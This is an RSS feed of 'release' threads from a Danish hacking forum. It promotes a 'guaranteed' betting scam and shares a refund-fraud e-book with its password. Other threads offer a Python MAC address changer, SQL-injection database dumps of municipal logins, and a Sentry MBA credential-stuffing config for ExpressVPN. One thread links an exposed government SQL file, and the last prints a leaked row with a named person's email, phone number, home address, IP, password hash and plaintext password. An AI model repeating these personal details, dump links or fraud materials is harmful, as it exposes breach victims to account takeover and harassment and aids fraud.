<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Shellsec - Udgivelser]]></title>
		<link>https://www.shellsec.pw/</link>
		<description><![CDATA[Shellsec - https://www.shellsec.pw]]></description>
		<pubDate>Sun, 10 May 2026 01:34:23 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Garanteret sports væddemål!]]></title>
			<link>https://www.shellsec.pw/traad-garanteret-sports-vaeddemaal</link>
			<pubDate>Mon, 10 Jun 2024 16:11:33 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-garanteret-sports-vaeddemaal</guid>
			<description><![CDATA[Ville blot dele dette med alle jer derude, fuldstændigt vanvittigt! Jeg har personligt købt et par væddemål der, og ja det er skam rigtigt. Garanteret som de nævner. <br />
<br />
<a href="https://t.me/Gambling188" target="_blank" rel="noopener" class="mycode_url">https://t.me/Gambling188</a>]]></description>
			<content:encoded><![CDATA[Ville blot dele dette med alle jer derude, fuldstændigt vanvittigt! Jeg har personligt købt et par væddemål der, og ja det er skam rigtigt. Garanteret som de nævner. <br />
<br />
<a href="https://t.me/Gambling188" target="_blank" rel="noopener" class="mycode_url">https://t.me/Gambling188</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[⭐REFUNDING GUIDE⭐ anno 2020]]></title>
			<link>https://www.shellsec.pw/traad-%E2%AD%90refunding-guide%E2%AD%90-anno-2020</link>
			<pubDate>Tue, 25 Aug 2020 20:44:53 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-%E2%AD%90refunding-guide%E2%AD%90-anno-2020</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ønsker du at refundere som mange af de store refunders?</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">Så har jeg her fundet Bob's E-Bog til dig.</div>
<br />
<div style="text-align: center;" class="mycode_align">Der står alt om refunding, alt lige fra instant refund og til fake TID<br />
Så vil du bliver den nye master inden for refund, så er du kun 3 klik væk! :D</div>
<br />
<div style="text-align: center;" class="mycode_align">*Disclaimer*</div>
<div style="text-align: center;" class="mycode_align">Jeg har ikke lavet bogen, deler den blot her.</div>
<div style="text-align: center;" class="mycode_align"><img src="https://refund.sh/assets/img/preview-1.png" alt="[Billede: preview-1.png]" class="mycode_img" /></div>
<br />
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<div style="text-align: center;" class="mycode_align"><a href="https://anonfiles.com/paWfe1Pdo3/Bobs_Refunding_mX43589n91Hx8Lg_pdf" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Download</span></span></a></div>
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: medium;" class="mycode_size">Koden til bogen er:<br />
</span><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">mX43589n91Hx8Lg</span></span></div>
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<br />
<div style="text-align: center;" class="mycode_align">Jeg har intet med bogen at gøre, men besvarer dog gerne spørgsmål hvis der er nogle.</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ønsker du at refundere som mange af de store refunders?</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">Så har jeg her fundet Bob's E-Bog til dig.</div>
<br />
<div style="text-align: center;" class="mycode_align">Der står alt om refunding, alt lige fra instant refund og til fake TID<br />
Så vil du bliver den nye master inden for refund, så er du kun 3 klik væk! :D</div>
<br />
<div style="text-align: center;" class="mycode_align">*Disclaimer*</div>
<div style="text-align: center;" class="mycode_align">Jeg har ikke lavet bogen, deler den blot her.</div>
<div style="text-align: center;" class="mycode_align"><img src="https://refund.sh/assets/img/preview-1.png" alt="[Billede: preview-1.png]" class="mycode_img" /></div>
<br />
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<div style="text-align: center;" class="mycode_align"><a href="https://anonfiles.com/paWfe1Pdo3/Bobs_Refunding_mX43589n91Hx8Lg_pdf" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Download</span></span></a></div>
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: medium;" class="mycode_size">Koden til bogen er:<br />
</span><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font">mX43589n91Hx8Lg</span></span></div>
<div style="text-align: center;" class="mycode_align"><hr class="mycode_hr" /></div>
<br />
<div style="text-align: center;" class="mycode_align">Jeg har intet med bogen at gøre, men besvarer dog gerne spørgsmål hvis der er nogle.</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CODE: Simpel MAC Changer]]></title>
			<link>https://www.shellsec.pw/traad-code-simpel-mac-changer</link>
			<pubDate>Sun, 19 Jul 2020 21:51:57 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-code-simpel-mac-changer</guid>
			<description><![CDATA[Jeg har skrevet en simple MAC changer, her er koden:<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
# -*- coding: UTF-8 -*-<br />
import subprocess<br />
import optparse<br />
import re<br />
<br />
def g_args():<br />
&nbsp;&nbsp;&nbsp;&nbsp;p = optparse.OptionParser()<br />
&nbsp;&nbsp;&nbsp;&nbsp;p.add_option("-i", "--iface", dest="i_face", help="Interface du vil ændre MAC adresse på")<br />
&nbsp;&nbsp;&nbsp;&nbsp;p.add_option("-m", "--mac", dest="n_mac", help="Den nye MAC adresse")<br />
&nbsp;&nbsp;&nbsp;&nbsp;(opt, args) = p.parse_args()<br />
&nbsp;&nbsp;&nbsp;&nbsp;if not opt.i_face:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p.error("[-] Vær så venlig at specificere et interface, brug --help for mere info")<br />
&nbsp;&nbsp;&nbsp;&nbsp;elif not opt.n_mac:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p.error("[-] Vær så venlig at specificere en ny mac adresse, brug --help for mere info")<br />
&nbsp;&nbsp;&nbsp;&nbsp;return opt<br />
<br />
def cha_mac(i_face, n_mac):<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[+] Skifter MAC adresse for " + i_face + " til " + n_mac)<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig", i_face, "down"])<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig",i_face, "hw", "ether", n_mac])<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig", i_face, "up"])<br />
<br />
def g_c_mac(i_face):<br />
&nbsp;&nbsp;&nbsp;&nbsp;iconf_res = subprocess.check_output(["ifconfig", i_face])<br />
&nbsp;&nbsp;&nbsp;&nbsp;m_search_res = re.search(r"&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w", iconf_res)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if m_search_res:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return m_search_res.group(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[-] Kunne ikke finde en mac adresse.")<br />
<br />
opt = g_args()<br />
<br />
c_mac = g_c_mac(opt.i_face)<br />
print("Nuværrende mac adresse -&gt; " + str(c_mac))<br />
<br />
cha_mac(opt.i_face, opt.n_mac)<br />
<br />
c_mac = g_c_mac(opt.i_face)<br />
if c_mac == opt.n_mac:<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[+] MAC adressen blev ændret til " + c_mac)<br />
else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[-] MAC adressen blev IKKE ændret.")</code></div></div><br />
Håber den kan bruges ;)<br />
<br />
PS: DNS spoofer kommer snart.]]></description>
			<content:encoded><![CDATA[Jeg har skrevet en simple MAC changer, her er koden:<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
# -*- coding: UTF-8 -*-<br />
import subprocess<br />
import optparse<br />
import re<br />
<br />
def g_args():<br />
&nbsp;&nbsp;&nbsp;&nbsp;p = optparse.OptionParser()<br />
&nbsp;&nbsp;&nbsp;&nbsp;p.add_option("-i", "--iface", dest="i_face", help="Interface du vil ændre MAC adresse på")<br />
&nbsp;&nbsp;&nbsp;&nbsp;p.add_option("-m", "--mac", dest="n_mac", help="Den nye MAC adresse")<br />
&nbsp;&nbsp;&nbsp;&nbsp;(opt, args) = p.parse_args()<br />
&nbsp;&nbsp;&nbsp;&nbsp;if not opt.i_face:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p.error("[-] Vær så venlig at specificere et interface, brug --help for mere info")<br />
&nbsp;&nbsp;&nbsp;&nbsp;elif not opt.n_mac:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p.error("[-] Vær så venlig at specificere en ny mac adresse, brug --help for mere info")<br />
&nbsp;&nbsp;&nbsp;&nbsp;return opt<br />
<br />
def cha_mac(i_face, n_mac):<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[+] Skifter MAC adresse for " + i_face + " til " + n_mac)<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig", i_face, "down"])<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig",i_face, "hw", "ether", n_mac])<br />
&nbsp;&nbsp;&nbsp;&nbsp;subprocess.call(["ifconfig", i_face, "up"])<br />
<br />
def g_c_mac(i_face):<br />
&nbsp;&nbsp;&nbsp;&nbsp;iconf_res = subprocess.check_output(["ifconfig", i_face])<br />
&nbsp;&nbsp;&nbsp;&nbsp;m_search_res = re.search(r"&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w:&#92;w&#92;w", iconf_res)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if m_search_res:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return m_search_res.group(0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("[-] Kunne ikke finde en mac adresse.")<br />
<br />
opt = g_args()<br />
<br />
c_mac = g_c_mac(opt.i_face)<br />
print("Nuværrende mac adresse -&gt; " + str(c_mac))<br />
<br />
cha_mac(opt.i_face, opt.n_mac)<br />
<br />
c_mac = g_c_mac(opt.i_face)<br />
if c_mac == opt.n_mac:<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[+] MAC adressen blev ændret til " + c_mac)<br />
else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;print("[-] MAC adressen blev IKKE ændret.")</code></div></div><br />
Håber den kan bruges ;)<br />
<br />
PS: DNS spoofer kommer snart.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[fldnet.dk dump - ~4000 logins - Diverse kommunale logins]]></title>
			<link>https://www.shellsec.pw/traad-fldnet-dk-dump-4000-logins-diverse-kommunale</link>
			<pubDate>Sun, 17 Feb 2019 20:55:16 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-fldnet-dk-dump-4000-logins-diverse-kommunale</guid>
			<description><![CDATA[Ikke så meget at sige til det. En simpel sql vuln (Link øverst i alle filerne), og så dump af databasen. Så brug dataen som man vil. Omkring 4000 logins.<br />
Link: <a href="https://mega.nz/#F!9xYl2ChL!ejOFGBriiD6kPOWZy9W0CA" target="_blank" rel="noopener" class="mycode_url">https://mega.nz/#F!9xYl2ChL!ejOFGBriiD6kPOWZy9W0CA</a>]]></description>
			<content:encoded><![CDATA[Ikke så meget at sige til det. En simpel sql vuln (Link øverst i alle filerne), og så dump af databasen. Så brug dataen som man vil. Omkring 4000 logins.<br />
Link: <a href="https://mega.nz/#F!9xYl2ChL!ejOFGBriiD6kPOWZy9W0CA" target="_blank" rel="noopener" class="mycode_url">https://mega.nz/#F!9xYl2ChL!ejOFGBriiD6kPOWZy9W0CA</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Express VPN Config [Sentry MBA]]]></title>
			<link>https://www.shellsec.pw/traad-express-vpn-config-sentry-mba</link>
			<pubDate>Mon, 22 Oct 2018 21:51:29 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-express-vpn-config-sentry-mba</guid>
			<description><![CDATA[Godaften SS :)<br />
<br />
Håber denne udgivelse kan bruges, det er en Express VPN config som virker, den skal bruges med proxyes. :)<br />
Link: <a href="https://anonfile.com/m0j696jbba/expressvpn.com_ini" target="_blank" rel="noopener" class="mycode_url">https://anonfile.com/m0j696jbba/expressvpn.com_ini</a>]]></description>
			<content:encoded><![CDATA[Godaften SS :)<br />
<br />
Håber denne udgivelse kan bruges, det er en Express VPN config som virker, den skal bruges med proxyes. :)<br />
Link: <a href="https://anonfile.com/m0j696jbba/expressvpn.com_ini" target="_blank" rel="noopener" class="mycode_url">https://anonfile.com/m0j696jbba/expressvpn.com_ini</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[kulturarv.dk / slks.dk (Slots- og Kulturstyrelsen) database]]></title>
			<link>https://www.shellsec.pw/traad-kulturarv-dk-slks-dk-slots-og-kulturstyrelsen</link>
			<pubDate>Mon, 14 May 2018 02:30:53 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-kulturarv-dk-slks-dk-slots-og-kulturstyrelsen</guid>
			<description><![CDATA[Fundet ved en Google søgning, SQL filen er tilgængelig på deres webserver. Har ikke tjekket den særlig meget igennem, så ved ikke om den indeholder noget spændende.<br />
Da jeg ikke selv har dumpet filen, så ved jeg desværre heller ikke hvor opdateret den er.<br />
<br />
Download link fra deres hjemmeside: <a href="https://www.kulturarv.dk/regin/login/reginfo-h-tables.sql" target="_blank" rel="noopener" class="mycode_url">https://www.kulturarv.dk/regin/login/reg...tables.sql</a> (ikke anbefalet)<br />
Mirror: <a href="http://anonfile.com/74H314efb0/reginfo-h-tables.sql.txt" target="_blank" rel="noopener" class="mycode_url">http://anonfile.com/74H314efb0/reginfo-h-tables.sql.txt</a><br />
<br />
Sådan noget burde ikke ske.<br />
<br />
Eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>DROP TABLE IF EXISTS `h_Ejerlav`;<br />
/*!40101 SET @saved_cs_client     = @@character_set_client */;<br />
/*!40101 SET character_set_client = utf8 */;<br />
CREATE TABLE `h_Ejerlav` (<br />
  `ejerlavId` int(11) NOT NULL AUTO_INCREMENT,<br />
  `kode` varchar(7) COLLATE utf8_danish_ci NOT NULL DEFAULT '',<br />
  `lokalitetAnlaegsregistrantId` int(11) DEFAULT NULL,<br />
  `tekst` varchar(60) COLLATE utf8_danish_ci NOT NULL DEFAULT '',<br />
  PRIMARY KEY (`ejerlavId`),<br />
  KEY `lokalitetAnlaegsregistrantId` (`lokalitetAnlaegsregistrantId`),<br />
  CONSTRAINT `0_4897` FOREIGN KEY (`lokalitetAnlaegsregistrantId`) REFERENCES `h_LokalitetAnlaegsregistrant` (`lokalitetAnlaegsregistrantId`)<br />
) ENGINE=InnoDB AUTO_INCREMENT=9341 DEFAULT CHARSET=utf8 COLLATE=utf8_danish_ci;<br />
/*!40101 SET character_set_client = @saved_cs_client */;<br />
<br />
--<br />
-- Dumping data for table `h_Ejerlav`<br />
--<br />
<br />
LOCK TABLES `h_Ejerlav` WRITE;<br />
/*!40000 ALTER TABLE `h_Ejerlav` DISABLE KEYS */;<br />
INSERT INTO `h_Ejerlav` VALUES (1,'2000151',NULL,'Amagerbros Kvarter, KÃ¸benhavn'),(2,'2000152',NULL,'BrÃ¸nshÃ¸j, KÃ¸benhavn'),(3,'2000153',NULL,'Christianshavns Kvarter, KÃ¸benhavn'),(4,'2000154',NULL,'DamhussÃ¸en, KÃ¸benhavn'),(5,'2000155',NULL,'Eksercerpladsen, KÃ¸benhavn'),(6,'2000156',NULL,'Emdrup, KÃ¸benhavn'),(7,'2000157',NULL,'Frihavnskvarteret, KÃ¸benhavn'),(8,'2000158',NULL,'Frimands Kvarter, KÃ¸benhavn'),(9,'2000159',NULL,'Husum, KÃ¸benhavn'),(10,'2000160',NULL,'KlÃ¦debo Kvarter, KÃ¸benhavn'),(11,'2000161',NULL,'Kongens Enghave, KÃ¸benhavn'),(12,'2000162',NULL,'KÃ¸bmager Kvarter, KÃ¸benhavn'),(13,'2000163',NULL,'NÃ¸rre Kvarter, KÃ¸benhavn'),(14,'2000164',NULL,'NÃ¸rrevold Kvarter, KÃ¸benhavn'),(15,'2000165',NULL,'Rosenborg Kvarter, KÃ¸benhavn'),(16,'2000166',NULL,'Sankt AnnÃ¦ Vester Kvarter, KÃ¸benhavn'),(17,'2000167',NULL,'Sankt AnnÃ¦ Ã˜ster Kvarter, KÃ¸benhavn'),(18,'2000168',NULL,'Snarens Kvarter, KÃ¸benhavn'),(19,'2000169',NULL,'Strand Kvarter, KÃ¸benhavn'),(20,'2000170',NULL,'Sundby Overdrev, KÃ¸benhavn'),(21,'2000171',NULL,'Sundbyvester, KÃ¸benhavn'),(22,'2000172',NULL,'SundbyÃ¸ster, KÃ¸benhavn'),(23,'2000173',NULL,'Udenbys KlÃ¦debo Kvarter, KÃ¸benhavn'),(24,'2000174',NULL,'Udenbys Vester Kvarter, KÃ¸benhavn'),(25,'2000175',NULL,'Utterslev, KÃ¸benhavn'),(26,'2000176',NULL,'Valby, KÃ¸benhavn'),(27,'2000177',NULL,'VanlÃ¸se, KÃ¸benhavn'),(28,'2000178',NULL,'Vester Kvarter, KÃ¸benhavn'),(29,'2000179',NULL,'Vestervold Kvarter, KÃ¸benhavn'),(30,'2000180',NULL,'Vigerslev, KÃ¸benhavn'),(31,'2000181',NULL,'Ã˜ster Kvarter, KÃ¸benhavn'),(32,'2000182',NULL,'Ã˜stervold Kvarter, KÃ¸benhavn'),(33,'0010051',NULL,'Frederiksberg Kommune'),(34,'2000651',NULL,'HelsingÃ¸r Bygrunde'),(35,'2000652',NULL,'HelsingÃ¸r Markjorder'),(36,'2000653',NULL,'HelsingÃ¸r Overdrev'),(37,'2000654',NULL,'Kronborg FÃ¦stning, HelsingÃ¸r Jorder'),(38,'2000655',NULL,'Kronborg LadegÃ¥rd, HelsingÃ¸r Jorder'),(39,'2000656',NULL,'Marienlyst, HelsingÃ¸r Jorder'),(40,'2000657',NULL,'Meulenborg, HelsingÃ¸r Jorder')</blockquote>
]]></description>
			<content:encoded><![CDATA[Fundet ved en Google søgning, SQL filen er tilgængelig på deres webserver. Har ikke tjekket den særlig meget igennem, så ved ikke om den indeholder noget spændende.<br />
Da jeg ikke selv har dumpet filen, så ved jeg desværre heller ikke hvor opdateret den er.<br />
<br />
Download link fra deres hjemmeside: <a href="https://www.kulturarv.dk/regin/login/reginfo-h-tables.sql" target="_blank" rel="noopener" class="mycode_url">https://www.kulturarv.dk/regin/login/reg...tables.sql</a> (ikke anbefalet)<br />
Mirror: <a href="http://anonfile.com/74H314efb0/reginfo-h-tables.sql.txt" target="_blank" rel="noopener" class="mycode_url">http://anonfile.com/74H314efb0/reginfo-h-tables.sql.txt</a><br />
<br />
Sådan noget burde ikke ske.<br />
<br />
Eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>DROP TABLE IF EXISTS `h_Ejerlav`;<br />
/*!40101 SET @saved_cs_client     = @@character_set_client */;<br />
/*!40101 SET character_set_client = utf8 */;<br />
CREATE TABLE `h_Ejerlav` (<br />
  `ejerlavId` int(11) NOT NULL AUTO_INCREMENT,<br />
  `kode` varchar(7) COLLATE utf8_danish_ci NOT NULL DEFAULT '',<br />
  `lokalitetAnlaegsregistrantId` int(11) DEFAULT NULL,<br />
  `tekst` varchar(60) COLLATE utf8_danish_ci NOT NULL DEFAULT '',<br />
  PRIMARY KEY (`ejerlavId`),<br />
  KEY `lokalitetAnlaegsregistrantId` (`lokalitetAnlaegsregistrantId`),<br />
  CONSTRAINT `0_4897` FOREIGN KEY (`lokalitetAnlaegsregistrantId`) REFERENCES `h_LokalitetAnlaegsregistrant` (`lokalitetAnlaegsregistrantId`)<br />
) ENGINE=InnoDB AUTO_INCREMENT=9341 DEFAULT CHARSET=utf8 COLLATE=utf8_danish_ci;<br />
/*!40101 SET character_set_client = @saved_cs_client */;<br />
<br />
--<br />
-- Dumping data for table `h_Ejerlav`<br />
--<br />
<br />
LOCK TABLES `h_Ejerlav` WRITE;<br />
/*!40000 ALTER TABLE `h_Ejerlav` DISABLE KEYS */;<br />
INSERT INTO `h_Ejerlav` VALUES (1,'2000151',NULL,'Amagerbros Kvarter, KÃ¸benhavn'),(2,'2000152',NULL,'BrÃ¸nshÃ¸j, KÃ¸benhavn'),(3,'2000153',NULL,'Christianshavns Kvarter, KÃ¸benhavn'),(4,'2000154',NULL,'DamhussÃ¸en, KÃ¸benhavn'),(5,'2000155',NULL,'Eksercerpladsen, KÃ¸benhavn'),(6,'2000156',NULL,'Emdrup, KÃ¸benhavn'),(7,'2000157',NULL,'Frihavnskvarteret, KÃ¸benhavn'),(8,'2000158',NULL,'Frimands Kvarter, KÃ¸benhavn'),(9,'2000159',NULL,'Husum, KÃ¸benhavn'),(10,'2000160',NULL,'KlÃ¦debo Kvarter, KÃ¸benhavn'),(11,'2000161',NULL,'Kongens Enghave, KÃ¸benhavn'),(12,'2000162',NULL,'KÃ¸bmager Kvarter, KÃ¸benhavn'),(13,'2000163',NULL,'NÃ¸rre Kvarter, KÃ¸benhavn'),(14,'2000164',NULL,'NÃ¸rrevold Kvarter, KÃ¸benhavn'),(15,'2000165',NULL,'Rosenborg Kvarter, KÃ¸benhavn'),(16,'2000166',NULL,'Sankt AnnÃ¦ Vester Kvarter, KÃ¸benhavn'),(17,'2000167',NULL,'Sankt AnnÃ¦ Ã˜ster Kvarter, KÃ¸benhavn'),(18,'2000168',NULL,'Snarens Kvarter, KÃ¸benhavn'),(19,'2000169',NULL,'Strand Kvarter, KÃ¸benhavn'),(20,'2000170',NULL,'Sundby Overdrev, KÃ¸benhavn'),(21,'2000171',NULL,'Sundbyvester, KÃ¸benhavn'),(22,'2000172',NULL,'SundbyÃ¸ster, KÃ¸benhavn'),(23,'2000173',NULL,'Udenbys KlÃ¦debo Kvarter, KÃ¸benhavn'),(24,'2000174',NULL,'Udenbys Vester Kvarter, KÃ¸benhavn'),(25,'2000175',NULL,'Utterslev, KÃ¸benhavn'),(26,'2000176',NULL,'Valby, KÃ¸benhavn'),(27,'2000177',NULL,'VanlÃ¸se, KÃ¸benhavn'),(28,'2000178',NULL,'Vester Kvarter, KÃ¸benhavn'),(29,'2000179',NULL,'Vestervold Kvarter, KÃ¸benhavn'),(30,'2000180',NULL,'Vigerslev, KÃ¸benhavn'),(31,'2000181',NULL,'Ã˜ster Kvarter, KÃ¸benhavn'),(32,'2000182',NULL,'Ã˜stervold Kvarter, KÃ¸benhavn'),(33,'0010051',NULL,'Frederiksberg Kommune'),(34,'2000651',NULL,'HelsingÃ¸r Bygrunde'),(35,'2000652',NULL,'HelsingÃ¸r Markjorder'),(36,'2000653',NULL,'HelsingÃ¸r Overdrev'),(37,'2000654',NULL,'Kronborg FÃ¦stning, HelsingÃ¸r Jorder'),(38,'2000655',NULL,'Kronborg LadegÃ¥rd, HelsingÃ¸r Jorder'),(39,'2000656',NULL,'Marienlyst, HelsingÃ¸r Jorder'),(40,'2000657',NULL,'Meulenborg, HelsingÃ¸r Jorder')</blockquote>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[NLParty.dk dump, 1000+ gamere emails + clear text password]]></title>
			<link>https://www.shellsec.pw/traad-nlparty-dk-dump-1000-gamere-emails-clear</link>
			<pubDate>Wed, 02 May 2018 09:44:42 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-nlparty-dk-dump-1000-gamere-emails-clear</guid>
			<description><![CDATA[Hej SS! Dette er hele nlparty.dk's database, inklusiv deres brugerinformationer, hvor de har valgt at gemme alle kodeord i clear text.<br />
Link til dump: <a href="http://anonfile.com/W1wbq3e3b4/nlpartyd_nl16.zip" target="_blank" rel="noopener" class="mycode_url">http://anonfile.com/W1wbq3e3b4/nlpartyd_nl16.zip</a><br />
<br />
Jeg håber I kan bruge det til noget. Det kunne jeg ikke. Brugerinformationerne er relativt gamle (2016, desværre).<br />
Har valgt at bruge en throwaway account til at leake det, da jeg ikke føler min egen bruger herinde er anonym nok til at gøre det.<br />
<br />
Eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>userid,ip,vip,hal,tlf,city,crew,sove,spil,name,brev,ansat,plads,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">email</span></span>,admin,ansat2,gruppe,postnr,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">passwd</span></span>,billed,locked,godkend,ankomet,ordrenr,koebvip,adresse,tilmeld,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">username</span></span>,useropret,lastlogin,aktivkode,forplejning,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">notsha1passwd</span></span><br />
1,109.238.53.102,&lt;blank&gt;,hal1,20185859,Farum,&lt;blank&gt;,&lt;blank&gt;,0,Oliver Rimmer,0,1,&lt;blank&gt;,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">or.rimmer@gmail.com</span></span>,1,0,NLParty,3520,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">4fb71aba82c34a91991164774614088e0ec07ba6</span></span>,&lt;blank&gt;,N,1,1,&lt;blank&gt;,1,O.B Muusvej 5,1,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Oliver</span></span>,1456225426,1486586148,87810858778,0,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">viggo1</span></span></blockquote>
<br />
Nu har lækket også blive dækket i medierne, men det er en skam at Oliver ikke tager ansvar for sine handlinger.<br />
<br />
- Siden var ikke lagt ned, men bare rykket til "nlparty.dk/nlp16/". Google eventuelt siden, hvis I ikke tror på mig. Siden har altid været sårbar overfor SQL injections, første gang jeg opdagede et hul var da siden åbnede i shoppen. Det hul var så blevet ordnet efter siden lukkede ned, men der var så stadig andre huller. Så det er ikke nogens skyld, som så mange andre påstår.<br />
- Selvfølgelig har det været bevidst, at alle kodeord er blevet gemt viden siden af hashing. Ha har selv lavet siden. Hvis du Googler intext:"notsha1passwd", så kommer der kun resultater op omkring nlparty.<br />
<br />
Pisse pinligt for ham. Og de har endnu ikke skrevet en opdatering på deres Facebook side, som opfordrer folk til at skifte deres kode. Er de ligeglade? Tag ansvar.<br />
Jeg er langt fra den eneste som kendte til hullet!]]></description>
			<content:encoded><![CDATA[Hej SS! Dette er hele nlparty.dk's database, inklusiv deres brugerinformationer, hvor de har valgt at gemme alle kodeord i clear text.<br />
Link til dump: <a href="http://anonfile.com/W1wbq3e3b4/nlpartyd_nl16.zip" target="_blank" rel="noopener" class="mycode_url">http://anonfile.com/W1wbq3e3b4/nlpartyd_nl16.zip</a><br />
<br />
Jeg håber I kan bruge det til noget. Det kunne jeg ikke. Brugerinformationerne er relativt gamle (2016, desværre).<br />
Har valgt at bruge en throwaway account til at leake det, da jeg ikke føler min egen bruger herinde er anonym nok til at gøre det.<br />
<br />
Eksempel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>userid,ip,vip,hal,tlf,city,crew,sove,spil,name,brev,ansat,plads,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">email</span></span>,admin,ansat2,gruppe,postnr,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">passwd</span></span>,billed,locked,godkend,ankomet,ordrenr,koebvip,adresse,tilmeld,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">username</span></span>,useropret,lastlogin,aktivkode,forplejning,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">notsha1passwd</span></span><br />
1,109.238.53.102,&lt;blank&gt;,hal1,20185859,Farum,&lt;blank&gt;,&lt;blank&gt;,0,Oliver Rimmer,0,1,&lt;blank&gt;,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">or.rimmer@gmail.com</span></span>,1,0,NLParty,3520,<span style="font-weight: bold;" class="mycode_b"><span style="color: #33cc33;" class="mycode_color">4fb71aba82c34a91991164774614088e0ec07ba6</span></span>,&lt;blank&gt;,N,1,1,&lt;blank&gt;,1,O.B Muusvej 5,1,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Oliver</span></span>,1456225426,1486586148,87810858778,0,<span style="color: #33cc33;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">viggo1</span></span></blockquote>
<br />
